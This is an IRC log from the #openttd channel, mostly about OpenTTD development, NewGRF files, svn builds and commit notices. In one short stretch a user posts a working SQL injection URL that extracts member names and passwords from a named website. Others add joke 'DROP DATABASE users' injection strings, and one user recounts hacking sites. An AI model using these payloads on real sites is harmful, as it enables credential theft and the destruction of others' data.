<Prof_Frink> peteR! 17:16:52 *** Sacro|Laptop [~Ben@adsl-83-100-138-251.karoo.KCOM.COM] has quit [Ping timeout: 480 seconds] 17:18:10 <peter1138> frrrrrnk 17:18:35 <Prof_Frink> ptttttttr 17:20:46 <Patrick> frrrrrrrrrrrrack 17:21:26 <peter1138> frak 17:21:37 <Prof_Frink> frell 17:21:41 <Patrick> I reckon it's frack 17:21:47 <Patrick> frak reads wrong 17:21:58 <Patrick> of course, the scripts will be the decider 17:22:11 <peter1138> !http://www.bbcmicrogames.com/screenshots/frak1.gif 17:22:12 <Patrick> or some in-film grafitti 17:22:13 <peter1138> frak! 17:26:00 *** maad_ [~emade@82.160.115.202] has joined #openttd 17:26:00 *** maad [~emade@82.160.115.202] has quit [Read error: Connection reset by peer] 17:27:59 *** scia [~scia@AveloN.xs4all.nl] has joined #openttd 17:36:01 *** Wolf01 [~wolf01@host48-235-dynamic.9-87-r.retail.telecomitalia.it] has joined #openttd 17:36:12 <Wolf01> hello 17:36:36 <Wolf01> well done with newhouses 17:36:50 *** HMage [~HMage@85.21.179.41] has joined #openttd 17:39:50 *** BobingAbout [~BobingAbo@83.100.229.62] has joined #openttd 17:39:51 *** BobingAbout [~BobingAbo@83.100.229.62] has quit [] 17:42:20 *** mikl [~mikl@0x5551931e.adsl.cybercity.dk] has quit [Quit: In the end, all that matters is your relation with God...] 17:45:29 <HMage> Rubidium: http://wiki.openttd.org/index.php/Translation:Russian - how about this? 17:49:28 <HMage> er, you edited that already :) 17:49:39 <MiHaMiX> HMage: looks good enough :) 17:50:10 * HMage thinks how to make that note smaller 17:50:34 <MiHaMiX> HMage: insert explicit line breaks into the note template 17:51:10 <HMage> like how? 17:52:46 <MiHaMiX> HMage: err... lemme se 17:52:47 <MiHaMiX> +e 17:57:11 *** Digitalfox [~chatzilla@bl7-189-75.dsl.telepac.pt] has quit [Quit: Bye Bye...] 17:59:02 *** |Jeroen| [~jeroen@dD5E03DCF.access.telenet.be] has joined #openttd 18:00:39 <MiHaMiX> HMage: ok, I found an elegant solution 18:02:48 <HMage> hmm... it didn't become smaller (as in display space it takes from the content). Thanks anyway. 18:02:51 *** Thomas[NL] [~thomas@vdburgt.xs4all.nl] has quit [Quit: Leaving] 18:03:17 <MiHaMiX> HMage: then what do you mean under "smaller"? :) 18:03:21 <MiHaMiX> HMage: btw, I centered 18:03:53 <HMage> need to scroll down so much to be taken to actual article 18:04:30 <MiHaMiX> ahh, I can't really help on that, sorry :-( 18:05:55 <HMage> np, thank you :) 18:14:23 *** lugo [~lugo@pd95814db.dip.t-dialin.net] has joined #openttd 18:16:27 <HMage> "STR_NEWGRF_ERROR_AFTER_TRANSLATED_FILE :the GRF file it was designed to translate" - anyone knows which context is that? 18:18:13 <Rubidium> newgrfs can translate strings added by other newgrfs 18:19:51 <HMage> so basically it's most of the time "blablabla.grf must be loaded after lalala.grf" and "blablabla.grf must be loaded after the GRF file it was designed to translate"? 18:21:11 *** llugo [~lugo@pD9581C69.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 18:22:47 *** Digitalfox_Home [~chatzilla@bl4-211-152.dsl.telepac.pt] has joined #openttd 18:22:59 <Rubidium> yes 18:26:03 *** nairan [~maui_key@p5498F05A.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 18:29:11 *** GhostBear[Off] is now known as GhostBear 18:37:26 <CIA-2> OpenTTD: truelight * r9340 /trunk/configure: [Config] -Fix: on some systems $_ was set to /usr/bin/make; filter for this (tnx peter1138) 18:45:30 *** Scarzzurs [~Scarzzurs@0x50c6238e.boanxx11.adsl-dhcp.tele.dk] has joined #openttd 18:45:33 <Scarzzurs> Lo :-) 18:46:42 <Scarzzurs> I've just installed OpenTTD. But then i remember back when i used TTDPatch and you had all kinds of gfx files that you could install. Does such "mods" exist for openTTD, or is that TTDPatch only? 18:46:52 <peter1138> yes 18:47:06 <peter1138> quite a few of them work with openttd 18:47:12 <CIA-2> OpenTTD: rubidium * r9341 /branches/0.5/ (5 files): 18:47:12 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r8943, r8955, r8976, r8999, r9009): 18:47:12 <CIA-2> OpenTTD: - Fix: NewGRF support for vehicle variable 48 (r8943) 18:47:12 <CIA-2> OpenTTD: - Fix: crash on loading savegames with GRFs that do not have their GRF info/name set (r8955) 18:47:12 <CIA-2> OpenTTD: - Fix: reinitialize all engines after grf files have been reloaded/changed (r8976) 18:47:14 <CIA-2> OpenTTD: - Fix: do not select a disabled platform length/number of track count when going out of drag-drop mode (r8999) 18:47:16 <Smoovious> some grf files don't work yet... like the custom cargoes, for instance 18:47:16 <CIA-2> OpenTTD: - Fix: play the correct engine sound based on the engine type instead of the sprite (r9009) 18:48:07 <Scarzzurs> Hmmm, kewl, i guess. Would you guys have a link to some that work? :-) 18:48:18 <peter1138> yeah, grfcrawler.tt-forums.net :p 18:48:29 <Scarzzurs> Perhaps a mod that introduces some difficulty, increasing over time hopefully? 18:48:45 <peter1138> Smoovious: http://fuzzle.org/o/nc.png < yeah 18:48:58 <peter1138> don't think any do that 18:49:06 <peter1138> pb_build.grf makes it hard, but that's from the start 18:49:53 <Scarzzurs> Too bad, cause i think that is what TTD really needs: Increasing difficulty, a lot like many other games... 18:50:00 <Belugas> "yet" 18:50:12 <Scarzzurs> As far as i can recall even sim city has it... 18:50:33 <Scarzzurs> Yeah, well, "yet" won't do me any good... "yet" :-) 18:50:47 <Belugas> "soon" then? 18:50:49 <Smoovious> want it sooner, code it up 18:50:50 <Belugas> :P 18:50:55 <Belugas> impatient one :S 18:51:03 *** Tron_ is now known as Tron 18:51:46 <Scarzzurs> I know... But i have my own games to code right now :P 18:53:27 <Scarzzurs> btw. What is YAPF? 18:54:04 <Smoovious> Yet Another Path Finder 18:54:41 * Smoovious is waiting for TPFTRAPF 18:54:51 <CIA-2> OpenTTD: rubidium * r9342 /branches/0.5/ (industry_gui.c road_cmd.c settings.c): 18:54:51 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r8980, r9065, r9339): 18:54:51 <CIA-2> OpenTTD: - Fix: the industry list should also be (re)set when the number of industries is 0 (r8980) 18:54:51 <CIA-2> OpenTTD: - Fix: possible dereference of NULL pointer (r9065) 18:54:51 <CIA-2> OpenTTD: - Codechange: disable shares by default and increase the default maximum distance from edge for oil refineries (r9339) 18:56:32 <Scarzzurs> What is this CIA-2 is spamming? 18:56:45 <peter1138> snigger 18:56:49 <Smoovious> peter1138... is that a patch screenshot? 18:56:57 <Smoovious> Scarzzurs... code change commits 18:57:05 <peter1138> does patch have fast forward? 18:57:13 <Smoovious> I don't know 18:57:14 <peter1138> as a button :p 18:57:15 <peter1138> heh 18:57:25 <peter1138> or all our extra depot buttons 18:57:31 <Smoovious> I don't know 18:57:36 <Smoovious> I don't use the patch 18:57:51 <peter1138> *sigh* 18:57:53 <peter1138> no it's not 18:58:04 <Smoovious> anyways, I tried using some cargo-path GRF's, and had no luck with them... what GRF did you use? 18:58:40 <peter1138> that one is uk renewal industries 18:58:57 <Smoovious> k... may give it a try out tonight 18:59:10 <GhostBear> You planning make new industry? :] 18:59:10 <peter1138> well 18:59:16 <peter1138> it won't give you this result 18:59:20 <peter1138> cos you need a patch 18:59:38 <Smoovious> so it is a patch screenshot... :D 18:59:42 <Smoovious> :P 19:00:43 <Smoovious> !!! 19:00:51 <Smoovious> they got container cars that stack 3 high? 19:01:17 <peter1138> hmm? 19:01:39 <Smoovious> look in the bottom of that vehicle window... 3x Freightliner Container Rake... 19:02:18 <peter1138> oh 19:02:18 <peter1138> no 19:02:23 <peter1138> you just get 3 of them 19:02:43 <Smoovious> I dunno... the graphics sure look 3-high 19:03:05 <Smoovious> ok, well... 19:03:10 <Belugas> [14:59] <Smoovious> so it is a patch screenshot... :D <--- it is a screenshot of A patch... 19:03:12 <Smoovious> gonna go hunt that grf down 19:03:16 <peter1138> that's ukrs 19:03:28 <Belugas> patch screenshot is missleading :P 19:03:34 * Smoovious grins. 19:06:42 <Digitalfox_Home> Using last windows nightly ( from today ) the mouse wheel scrooling doesn't work for Zoom in or out 19:08:45 <Digitalfox_Home> Forget about that, i didn't notice the new patch config for mouse wheel.. 19:09:28 <peter1138> with no config it should default to zoom 19:09:34 <peter1138> if not, bjarni's stuffed it up 19:09:54 <Digitalfox_Home> no it was default for map 19:10:15 <Digitalfox_Home> Scrool map 19:10:24 <Digitalfox_Home> scroll 19:11:47 <peter1138> just tested, it default to zoom :) 19:11:51 <peter1138> +s 19:12:11 <Digitalfox_Home> with it didn't.. It used the scroll map 19:12:11 *** Frostregen [SADDAM@dslb-084-058-137-081.pools.arcor-ip.net] has quit [Read error: Connection reset by peer] 19:12:24 <Digitalfox_Home> And what does scroll map does 19:13:20 *** Frostregen [~sucks@dslb-084-058-137-081.pools.arcor-ip.net] has joined #openttd 19:15:00 <Smoovious> scrolls the map? 19:15:05 <Smoovious> :D 19:15:26 <Digitalfox_Home> well with me it doesn't do anything that's why i asked 19:19:06 <peter1138> i think that only works on os x 19:22:14 *** KritiK [Maxim@ppp85-140-206-177.pppoe.mtu-net.ru] has joined #openttd 19:22:30 <CIA-2> OpenTTD: rubidium * r9343 /branches/0.5/ (7 files in 2 dirs): 19:22:30 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9000, r9001, r9097, r9137): 19:22:30 <CIA-2> OpenTTD: - Fix: new locomotive names were not announced in the news, it said "new railway locomotive available - railway locomotive" (r9000, r9001) 19:22:30 <CIA-2> OpenTTD: - Feature: add an extra news group for opening and closing of industries (r9097) 19:22:30 <CIA-2> OpenTTD: - Fix: when all news-setting buttons are 'full', make the for-all button show 'full' too (r9137) 19:23:52 *** carwe [~carwe@p54b374b5.dip.t-dialin.net] has quit [] 19:24:32 <Smoovious> Rubidium... have you had a chance to check FS532 lately? 19:24:37 *** antichaos [~antichaos@host86-137-191-156.range86-137.btcentralplus.com] has left #openttd [] 19:25:04 *** Bjarni [~Bjarni@0x535ca25f.virnxx14.adsl-dhcp.tele.dk] has joined #openttd 19:25:05 *** mode/#openttd [+o Bjarni] by ChanServ 19:26:43 *** boekabart [~boekabart@g54037.upc-g.chello.nl] has joined #openttd 19:28:42 <Rubidium> Smoovious: nope 19:30:35 <Smoovious> k 19:30:46 * Ailure stretches 19:31:40 * peter1138 tightens the rack a notch 19:31:57 <Wolf01> is possible to change on the fly the running cost of the vehicles? 19:32:11 <Wolf01> without using a multiplier variable 19:32:26 <GhostBear> Difficulty settings only? 19:32:54 <Wolf01> that's already coded 19:33:15 <GhostBear> it was even in TTD :> 19:33:18 <GhostBear> I mean 19:33:24 <GhostBear> Global running costs :P 19:34:03 *** Renacor [~kvirc@p54B9D849.dip.t-dialin.net] has quit [Quit: KVIrc 3.2.5 Anomalies http://www.kvirc.net/] 19:34:08 <Wolf01> int32 cost = AircraftVehInfo(v->engine_type)->running_cost * _price.aircraft_running / 364; 19:34:08 <Wolf01> i mean this, now i use a variable to multiply the running cost value because daylength 19:34:47 <CIA-2> OpenTTD: rubidium * r9344 /branches/0.5/ (5 files): 19:34:47 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9027, r9038, r9061, r9071): 19:34:47 <CIA-2> OpenTTD: - Fix: desync caused by buffer overflow (r9027) 19:34:47 <CIA-2> OpenTTD: - Feature: kick inactive initial network connections after some time (r9038, r9061) 19:34:47 <CIA-2> OpenTTD: - Fix: take over companies properly in multiplayer games (r9071) 19:34:48 <Wolf01> i want to change _price.running_cost directly with a function in another place 19:35:11 <GhostBear> ah 19:35:22 <GhostBear> i'm not able to help then %P 19:35:23 <Mucht> ottdcoop@sarah ~/svn-sandbox/bin$ svn up -r 9340 19:35:23 <Mucht> At revision 9340. 19:35:23 <Mucht> ottdcoop@sarah ~/svn-sandbox/bin$ ./openttd --version 19:35:23 <Mucht> OpenTTD r9339 19:35:31 <Mucht> is anyone experienced with svn? :-P 19:36:14 <blathijs> little 19:36:19 <blathijs> why? 19:37:10 <Mucht> what is my problem above? 19:37:15 <Mucht> I fail to see a reason for this 19:37:42 <Rubidium> because openttd's version number is retrieved from the last modification to anything in the src directory 19:37:44 <rane> it'd be nice feature if you could order a train to make changes to it's wagons next time it goes in servicing 19:37:59 <Smoovious> and r9340 wasn't in ./src 19:38:04 <rane> single trains, that is 19:38:13 <Mucht> ok then 19:38:29 <Ailure> I'm amused at this guy though 19:38:37 <Smoovious> ? 19:38:45 <Ailure> The one saying that openTTD sourcecode is spaghetti code 19:38:49 <Ailure> and made a fork of a old revision 19:38:52 <Ailure> becuse C++ sucks 19:38:54 <Ailure> xD 19:39:08 <Ailure> Dosen't C code tend to result into spaghetti code easily? 19:39:36 <Ailure> I mean, part of the point with object-oriented programming is to prevent that. :/ 19:39:41 <Smoovious> got a URL to the thread? 19:39:46 <peter1138> rane: you can, but only refitting them 19:39:54 <Ailure> http://www.tt-forums.net/viewtopic.php?t=30976 19:39:56 <Ailure> here you go 19:39:59 <Smoovious> thnx 19:40:00 <rane> peter1138: refitting? 19:40:40 <Mucht> anyone knowing the parameter for making my openttd-buil look like r9340? 19:40:42 <peter1138> changing the cargo type they carry 19:41:01 <peter1138> Mucht: none. why would you want to? 19:41:32 <Mucht> read some 20 lines above 19:41:37 <peter1138> yes, so? 19:41:38 <Maedhros> Mucht: ./configure --revision rXXXX (as the script says, USE WITH CARE) 19:42:07 <Mucht> thx Maedhros 19:42:43 <CIA-2> OpenTTD: rubidium * r9345 /branches/0.5/ (order_cmd.c train_cmd.c): 19:42:43 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9277, r9337, r9338): 19:42:43 <CIA-2> OpenTTD: - Fix: shared orders got messed up when the 'first' trains got removed in the depot (r9277) 19:42:43 <CIA-2> OpenTTD: - Fix: assert() when you removed the orders of a shared list while having the shared order vehicle list open (r9337) 19:42:43 <CIA-2> OpenTTD: - Fix: close the Shared Order Vehicle List if you remove the shared link with only 2 vehicles (r9338) 19:43:20 <rane> peter1138: i mean like something where you can easily order the train to increase or reduce the amount of the wagons 19:43:28 <peter1138> ah. no. 19:43:40 <peter1138> hmm 19:43:54 <peter1138> sort of simulated shunting 19:44:36 <rane> hm? 19:45:51 <Mucht> peter1138: I built revision r9339 from tunk with the source of 9340. Now, a user tells me he can't login with his precompiled nightly r9340 19:46:54 <peter1138> heh 19:48:05 <Mucht> how to solve that? 19:49:27 <peter1138> bug in the nightly system :p 19:50:02 <peter1138> Mucht: if you had said "the nightly is r9340" at the start then i wouldn't have questioned you 19:50:09 <peter1138> ne'er mind 19:50:33 <Mucht> so configure with --revision is ok? 19:52:29 <CIA-2> OpenTTD: KUDr * r9346 /branches/gamebalance/ (5 files in 2 dirs): [gamebalance] -Fix: some MSVC fatal warnings (unary minus on unsigned, forcing int to bool), and errors (missing CDECL, missing file in MSVC projects) 19:52:39 <peter1138> yeah 19:52:43 <Mucht> ~/svn-sandbox$ ./configure -D --revision r9340 19:52:43 <Mucht> Unknown option --revision 19:52:44 <Mucht> oO 19:52:46 <peter1138> heh 19:52:50 <peter1138> guess not :p 19:53:29 <Mucht> -r is working 19:53:50 <Mucht> no :-/ 19:53:59 <Maedhros> bah, it seems you actually need --revision=r9340 19:54:10 <Maedhros> the = is normally optional 19:54:18 <Mucht> hehe yeah 19:56:07 <Ailure> grah 19:56:12 <Ailure> I hate the fact that aircraft 19:56:18 <CIA-2> OpenTTD: rubidium * r9347 /branches/0.5/ (6 files in 2 dirs): 19:56:18 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9019, r9076, r9077): 19:56:18 <CIA-2> OpenTTD: - Fix: use <> for system-headers (r9019) 19:56:18 <CIA-2> OpenTTD: - Fix: the intercontinental airport used 'T-junction' runway sprites when there is no exit in the middle of the runway as in the city airport (r9076) 19:56:18 <CIA-2> OpenTTD: - Fix: the wrong catenary wires were drawn for tunnel entrances (r9077) 19:56:24 <Ailure> have no running cost/cargo capacity view D: 19:57:05 <peter1138> ? 19:59:42 <GhostBear> http://www.jugglingdb.com/?%20lang=rutbltext+WHERE+(1=0)+UNION+SELECT+concat(membername,char(58),passwd)+FROM+%3Cbr%20/%3Etblmembers+WHERE+membername/* 19:59:44 <Ailure> heh 19:59:47 <GhostBear> Muhahaha! xD pwned xD 20:00:23 <GhostBear> oh 20:00:25 <GhostBear> sorry :( 20:00:27 <GhostBear> wrong :( 20:00:54 <GhostBear> http://www.jugglingdb.com/?%20lang=entbltext+WHERE+(1=0)+UNION+SELECT+concat(membername,char(58),passwd)+FROM+tblmembers+WHERE+membername/* 20:00:57 <GhostBear> This is correct :> 20:01:07 <hylje> sql injection day? 20:01:09 <peter1138> lies 20:01:22 <GhostBear> Just another fkking site =\ 20:01:39 <Ailure> ah SQL injection 20:02:12 <hylje> hello, my name is "; DROP DATABASE users; -- 20:02:19 *** _Ben_ [~Ben@81.168.42.191] has left #openttd [Leaving] 20:02:29 <GhostBear> :> 20:03:27 <GhostBear> better so: 20:04:09 <GhostBear> My name is: "+AND+1=0+UNION+DROP+DATABASE+users/* 20:04:13 <GhostBear> If going this way ;D 20:05:19 <peter1138> *yawn* 20:05:34 <GhostBear> Stupid admin still not answered my letter about errors and holes in him damn site -.- 20:05:51 <CIA-2> OpenTTD: rubidium * r9348 /branches/0.5/ (stdafx.h video/dedicated_v.c video/win32_v.c): 20:05:51 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r8974, r8994, r9074): 20:05:51 <CIA-2> OpenTTD: - Fix: support compilation with the Vista Platform SDK (r8974) 20:05:51 <CIA-2> OpenTTD: - Fix: resolution doubled in cfg file when fullscreen mode used (r8994) 20:05:51 <CIA-2> OpenTTD: - Fix: win32 dedicated console now doesn't need an extra 'enter' to fully quit (r9074) 20:05:53 <Ailure> lol 20:05:58 <Ailure> reminds me about some guy who like 20:06:00 <hylje> let me guess, php? 20:06:01 <Sacro> rename his db 20:06:04 <Ailure> hacked some big companies site here in Sweden 20:06:05 <Sacro> rather than drop it 20:06:10 <Rubidium> GhostBear: and that gives you the right to make that information public? 20:06:24 <GhostBear> nobody will not have use of it -.- 20:07:21 <Ailure> I actually hacked sites in past xD 20:07:23 <Ailure> well hacked 20:07:37 <Ailure> << 20:07:38 <GhostBear> hack means up a root rights 20:07:38 <hylje> sql injecting php sites is pathetic 20:07:55 <Ailure> although mind you, it was someone who was flooding a community I was on 20:08:01 <GhostBear> or even got ftp access :P 20:08:07 <Ailure> while he had blatant security holes 20:08:09 <Ailure> belive it or not 20:08:13 <Ailure> biut he had a PHP script 20:08:16 <Ailure> to upload files 20:08:19 <peter1138> nobody cares 20:08:23 <Ailure> so people uploaded their own PHP files to mess 20:08:37 <hylje> seriously, wtf 20:09:01 <hylje> its no wonder every more or less sane web developer doesnt want to use php 20:09:25 <Ailure> PHP should be mainly used for dynamic content anyway 20:09:28 <SpComb> sql injecting sites is boring and I don't particularly think 'disclosing' it (well, at least for minor sites) is that bad 20:09:35 <Ailure> besides 20:09:40 <Ailure> preventing SQL injection is simple :/ 20:09:47 <hylje> Ailure: wtf else would you use php for? 20:09:50 <SpComb> what are the bets that scripts vulernable to SQL injection are more common than those that aren't? 20:10:03 <Ailure> Hylje:I seen some really oddball use for PHP 20:10:04 <Ailure> belive me 20:10:07 <GhostBear> Topic of day: OpenTTD!!!!!!!! xD 20:10:19 <Ailure> mostly from people who don't know any other scripting or programming languages well 20:10:20 <Ailure> <_< 20:10:33 <GhostBear> Look at this site i just posted 20:10:34 <Ailure> I seen a few IRC bots 20:10:38 <Ailure> whoose brain is a PHP script 20:10:45 <GhostBear> it not filering any parameter 20:10:45 <Ailure> and a mIRC script inbetween as a empty shell 20:10:57 <SpComb> using PHP for IRC code is just abuse :< 20:10:58 <Ailure> or rather, who passes along the messages 20:11:12 <Ailure> yeah, but people done it :/ 20:11:24 <Ailure> well only case I would see it being acceptable 20:11:33 <Ailure> is to grab information from a remote server 20:11:41 * GhostBear thinks: better me not to post this inj =\ 20:11:45 <Ailure> information that dosen't hurt to be public 20:11:56 * GhostBear thinks: everybody discussing php and bugs now :] 20:12:10 <Ailure> I don't hack sites 20:12:14 <Ailure> I mean 20:12:16 <Ailure> I like hacking 20:12:18 <Ailure> but I hate vandalizing 20:12:37 <SpComb> mmh, the MOPB is ongoing 20:12:38 <GhostBear> as for me i'm reporting admins about bugs 20:12:47 <Ailure> I like reverse eginerring 20:12:55 <SpComb> and there were some fun vulnerabilities there, although I haven't managed to get most of them working on my own test host 20:13:14 <GhostBear> Can somebody tell me how many game eats traffic for an hour? 20:13:18 <Ailure> I admit though 20:13:22 <Ailure> sometimes I do bend my rules a bit 20:13:24 <Ailure> if I like 20:13:32 <Ailure> got the chanche to hack the scientology site 20:13:33 <Ailure> I would 20:13:34 <Ailure> D: 20:13:36 <Ailure> stuff like that 20:13:51 <SpComb> Ailure: ^_> -_> ^_< ^_^ ^_< -_> ^_> -_< ^_< ^_^ ^_> ^_- -_< -_- ^_< >_^ ^_< ^_^ ^_> -_> ^_> -_> ^_< -_^ ^_< ^_> ^_< ^_^ 20:14:16 <Ailure> :o 20:14:28 <Sacro> >< 20:14:30 <SpComb> 22:12:47 < Ailure> I like reverse eginerring 20:14:42 <Ailure> well 20:14:45 <Ailure> heh 20:14:52 <Ailure> I do come from the ROM hacking communities after all 20:14:57 <SpComb> it's called kirby4 20:15:24 <Ailure> ASCII Kirby's 20:15:24 <GhostBear> Can somebody tell me how many game eats traffic for an hour? 20:15:27 <GhostBear> x2 20:15:37 <Ailure> well 20:15:41 <Ailure> there's severeal factors involved << 20:15:49 *** re06011988 [~r.erwan@vol21-2-82-226-46-162.fbx.proxad.net] has joined #openttd 20:15:59 *** re06011988 [~r.erwan@vol21-2-82-226-46-162.fbx.proxad.net] has left #openttd [] 20:16:02 <Ailure> mainly number of players, net net_frame_freq and map size 20:16:25 <GhostBear> mh... 20:16:30 <GhostBear> can you give any example? 20:16:39 <Ailure> nope 20:16:44 <Ailure> I don't know much about the network 20:16:47 <Ailure> I have a slight idea about it 20:16:54 <Ailure> though I managed to misunderstand it in the past 20:16:59 <Ailure> such as thinking it using UDP instead of TCP 20:17:18 <Ailure> I still feel stupid over the remarks I made. D: 20:17:21 <SpComb> it does use UDP 20:17:26 <CIA-2> OpenTTD: rubidium * r9349 /branches/0.5/ (8 files): 20:17:26 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9043, r9062, r9064, r9070): 20:17:26 <CIA-2> OpenTTD: - Fix: the personal (.openttd) directories were hidden in the load/save directory listings (r9043) 20:17:26 <CIA-2> OpenTTD: - Fix: the station list, sorted by cargo rating, now takes stations into account that have no cargo waiting (r9062) 20:17:26 <CIA-2> OpenTTD: - Fix: don't keep on scrolling for non-numeric values in settings, but require reclick (r9064) 20:17:28 <CIA-2> OpenTTD: - Fix: when a bribe failed and you haven't picked up cargo yet, you would never be able to do so for a given station (r9070) 20:17:46 <Ailure> yes 20:17:48 <Ailure> but not all the time 20:18:01 <Ailure> it uses UDP to grab server info I belive 20:18:20 <Rubidium> and TCP when actually playing a game 20:18:36 <Ailure> yeah 20:18:52 <Ailure> It's kinda required 20:19:00 <Ailure> as if it used UDP for gameplay 20:19:04 <Ailure> a packet lost 20:19:21 <Ailure> would be fatal if it goes unoticable 20:19:34 *** Peakki [antti@cs181000195.pp.htv.fi] has quit [Quit: Lähdössä] 20:20:11 *** nairan [~maui_key@p5498CC26.dip.t-dialin.net] has joined #openttd 20:23:44 <CIA-2> OpenTTD: rubidium * r9350 /branches/0.5/ (5 files in 2 dirs): 20:23:44 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9105, r9115, r9117, r9146): 20:23:44 <CIA-2> OpenTTD: - Fix: disable the ability to make flooding water with the canal build tool. In the scenario editor you can still make both canals and flooding water at height level 0 (r9105) 20:23:44 <CIA-2> OpenTTD: - Fix: make clear in the tooltips when the canal build tool (in the scenario editor) makes flooding water (r9115) 20:23:46 <CIA-2> OpenTTD: - Fix: difficulty level button was not selected when opening the difficulty window (r9117) 20:23:46 <CIA-2> OpenTTD: - Fix: "Train is lost" message is generated incorrectly (r9146) 20:25:36 *** Thomas[NL] [~thomas@vdburgt.xs4all.nl] has joined #openttd 20:27:28 <ammler> Hi, #openttdcoop is wondering, if it possible to change grf settings in a running game? 20:27:35 *** e1ko [~L@a02-0432b.kn.vutbr.cz] has joined #openttd 20:28:15 <Rubidium> as long as it isn't a running network game it is possible 20:29:43 *** glx|away is now known as glx 20:29:45 <GhostBear> Where "start at" option gone? :o 20:29:55 <GhostBear> i mean 20:30:04 <GhostBear> I want to choose start year 20:30:10 <GhostBear> But 0.5 not allowing me o_O 20:30:27 <Rubidium> try 'new game' 20:31:20 <ammler> Rubidium: you mean, if a save is needed, not possible anymore 20:32:12 <GhostBear> ah 20:32:18 <Rubidium> ammler: the 'new game' wasn't meant for you 20:32:19 <GhostBear> found! :> 20:32:20 <GhostBear> Thanks! ^^ 20:32:36 <Rubidium> ammler: there is a ingame newgrf window where you can change the newgrf settings of a running game 20:33:48 <ammler> Rubidium: thanks. than we could load it in sp, change the settings and load the new save on the server 20:33:59 <peter1138> yeah 20:38:29 <CIA-2> OpenTTD: rubidium * r9351 /branches/0.5/ (ai/default/default.c openttd.c station_cmd.c table/engines.h): 20:38:29 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r9147, r9205, r9251, r9298): 20:38:29 <CIA-2> OpenTTD: - Fix: when loadin games, enroute_from was updated in the wrong place, causing issues with TTD savegames/scenarios (r9147) 20:38:29 <CIA-2> OpenTTD: - Fix: when you started openttd with '-g' you got the same map every run (r9205) 20:38:30 <CIA-2> OpenTTD: - Fix: use a less CPU-intensive algorithm to find a random industry for the AI to prevent it slowing down the game (r9251) 20:38:30 <CIA-2> OpenTTD: - Fix: A34-1000, Z-Shuttle, and Kelling K1 are now listed as small aircraft (r9298) 20:42:25 <GhostBear> Can somebody try to run newwork game with me? :> I mean i want to try multiplayer but playing on servers are not possible so i will be host :> 20:42:33 <GhostBear> *network 20:42:35 *** Purno [~Purno@5351C3E7.cable.casema.nl] has quit [Quit: Life is a game of pick-up-sticks, played by fucking lunatics.] 20:44:14 <GhostBear> I think no :'( 20:45:49 <ammler> It's not possible to change to Town Replacement on a running game, is it? 20:46:14 <Maedhros> should be 20:46:28 <Maedhros> it'll only affect any new houses that get built of course 20:47:03 <ammler> In my game, the setting still won't be blue. 20:47:30 <ammler> sry green 20:47:51 <rane> isn't it possible to change service intervals through patches for all vehicles during a game? 20:48:34 <Maedhros> ammler: which version are you running? what does the error message say? 20:50:55 <ammler> I did checkout 9348 and compiled it with revision=9340 20:53:15 <ammler> ok, problem is clear, Total Town Replacement won't work with arctic 20:53:46 <Maedhros> aha 20:54:00 *** Born_Acorn [~bornacorn@81.171.98.106] has joined #openttd 20:54:09 <Maedhros> you can get a version (of ttrs2) that does work in the arctic climate here: http://www.aegir.bur.st/files/ttd/index.php?dir=Newgrfs/Building%20Sets 20:54:16 <CIA-2> OpenTTD: peter1138 * r9352 /trunk/src/aircraft_cmd.cpp: -Codechange: Use cargo class to determine if an aircraft should carry mail 20:55:00 <GhostBear> OMG! 20:55:10 <GhostBear> I spended 1,5 mb for 15 min of playing :'C 20:55:17 <ammler> and Maedhros, if you change to TTR, it does also change existing houses 20:55:37 <Maedhros> it shouldn't 20:55:50 <ammler> ah only the streets 20:56:00 <Maedhros> oh right, yes 20:56:04 <glx> action A 20:56:35 <ammler> jep confirmed only streets 20:56:39 <Smoovious> GhostBear... that also includes the amount used downloading the map 21:01:12 *** HMage` [~HMage@85.21.179.41] has joined #openttd 21:03:05 *** scia [~scia@AveloN.xs4all.nl] has quit [Quit: Lost terminal] 21:04:16 <CIA-2> OpenTTD: rubidium * r9353 /branches/0.5/lang/ (37 files in 2 dirs): [0.5] -Backport language updates from trunk (r8957, r9002, r9005, r9013, r9014, r9020, r9021, r9054, r9116, r9118, r9132, r9286, r9292) 21:05:55 *** HMage [~HMage@85.21.179.41] has quit [Ping timeout: 480 seconds] 21:09:26 <Smoovious> methinks we may be seeing an 0.5.1 tonight 21:14:34 *** Scarzzurs [~Scarzzurs@0x50c6238e.boanxx11.adsl-dhcp.tele.dk] has quit [Quit: Whine...] 21:16:54 *** BFM [~chatzilla@CPE-138-130-145-137.nsw.bigpond.net.au] has joined #openttd 21:23:28 <Patrick> did the acceleration model get updated in the last 7000 revisions? 21:24:16 <Smoovious> do you mean, since r7000 or since r2353? 21:24:48 <Patrick> ok, since about 4000 21:24:53 <Patrick> I stopped paying attention then 21:24:58 * Smoovious grins. 21:25:00 <Smoovious> not sure 21:25:18 <Patrick> the "wait 1 second for no particular reason when a signal goes green" bug-that-is-not-a-bug keeps me from playing ottd 21:25:41 <Smoovious> you're kidding... 21:25:52 <Rubidium> oh, that should've been fixed ages ago 21:25:52 <Patrick> it's a fix to the stuck trains bug, but it basically completely destroys the kind of gameplay I do (as does non-realistic accn) 21:25:54 <Smoovious> something that... meaningless... was enough to keep you from playing.. 21:25:55 <Patrick> I on't actually know if it's been fixed 21:26:22 <Patrick> I take satisfaction in high-capacity train lines 21:26:28 <Smoovious> but... waiting a second (or a few seconds) after a signal goes green, before measurable forward momentum... _is_ realistic 21:26:33 <Patrick> and that bug basically halved the critical traffic jam density 21:26:49 <Smoovious> so lay more track 21:26:56 <Patrick> that's inelegant 21:27:03 <Smoovious> its prototypical 21:27:05 <Patrick> I was playing with a manual fix coded in but it wasn't the same 21:27:25 <Patrick> I already had 16-lane cargo trunks that were empty 4/5 of the time because of one annoying coding flaw 21:27:39 <Wolf01> 'night 21:27:43 *** Wolf01 [~wolf01@host48-235-dynamic.9-87-r.retail.telecomitalia.it] has quit [] 21:27:56 <Patrick> I only actually checked last at revision 5500 or so 21:28:22 <Smoovious> somehow, I have a hard time believing that a very short 